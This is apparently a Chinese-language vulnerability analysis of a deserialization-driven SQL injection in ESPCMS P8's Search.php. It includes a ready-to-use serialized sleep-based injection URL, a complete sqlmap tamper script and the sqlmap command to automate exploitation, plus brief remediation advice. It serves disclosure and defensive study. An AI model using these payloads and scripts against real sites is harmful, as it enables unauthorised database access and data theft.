某spcms/search一处尴尬的注入
字数 846 2025-08-29 08:31:53
ESPCMS_search 反序列化SQL注入漏洞分析
漏洞概述
ESPCMS P8版本中的Search.php文件存在一处反序列化导致的SQL注入漏洞,攻击者可以通过精心构造的序列化数据绕过全局过滤,实现SQL注入攻击。
漏洞环境
- 受影响版本:ESPCMS P8 18101601
- 下载地址:https://www.earclink.com/upfile/download/espcmsp8download/ESPCMS_P8_18101601_INSTALL.zip
漏洞分析
漏洞位置
\ESPCMS_P8_18101601_INSTALL\install_pack\espcms_web\Search.php 第51行
$_REQUEST['attr_array'] = unserialize(stripslashes($_GET['attr_array']));
漏洞原理
- 全局过滤机制:系统对输入进行了全局过滤,会将单引号转义为
\' - 反序列化处理:代码使用
unserialize(stripslashes())处理attr_array参数stripslashes()会去除转义字符\unserialize()将字符串反序列化为PHP变量
- SQL注入产生:经过上述处理后,单引号被还原,导致SQL注入
关键代码流程
global $espcms_web_templates, $espcms_link_db;
$db_table = ESPCMS_DB_PREFIX . 'document AS a';
$db_table_model_att = ESPCMS_DB_PREFIX . 'document_model_att';
$db_table_document_attr = ESPCMS_DB_PREFIX . 'document_attr';
$keyword = $_REQUEST['keyword'];
if (!$keyword) {
ESPCMS_Dialog::Message_Page('db_err');
}
漏洞验证
手动验证
访问URL:
http://127.0.0.1/safe/ESPCMS_P8_18101601_INSTALL/install_pack/index.php?ac=Search&at=List&attr_array=a:1:{s:28:"1' union select sleep(8)-- -";i:1;}
POST数据:
keyword=a&mid=0
SQLMap自动化验证
使用以下Python脚本作为tamper:
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
import phpserialize
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
retVal = payload
if payload:
payload = {payload:1}
retVal = phpserialize.dumps(payload)
return retVal
SQLMap命令:
python sqlmap.py -u "http://127.0.0.1/safe/ESPCMS_P8_18101601_INSTALL/install_pack/index.php?ac=Search&at=List&attr_array=" --data="keyword=a&mid=0" --tamper=serialize.py --level 3 --dbms=mysql 5.5 --method="GET" -p attr_array
修复建议
- 避免直接反序列化用户输入
- 对反序列化后的数据进行严格过滤
- 使用参数化查询或预处理语句
- 更新到最新版本
技术要点总结
- PHP反序列化漏洞利用
stripslashes()函数的安全影响- SQL注入绕过技巧
- SQLMap tamper脚本编写
参考
- 阿里云通用漏洞验收及奖励标准:https://help.aliyun.com/knowledge_detail/40065.html
- PHP序列化/反序列化安全:https://www.php.net/manual/en/function.unserialize.php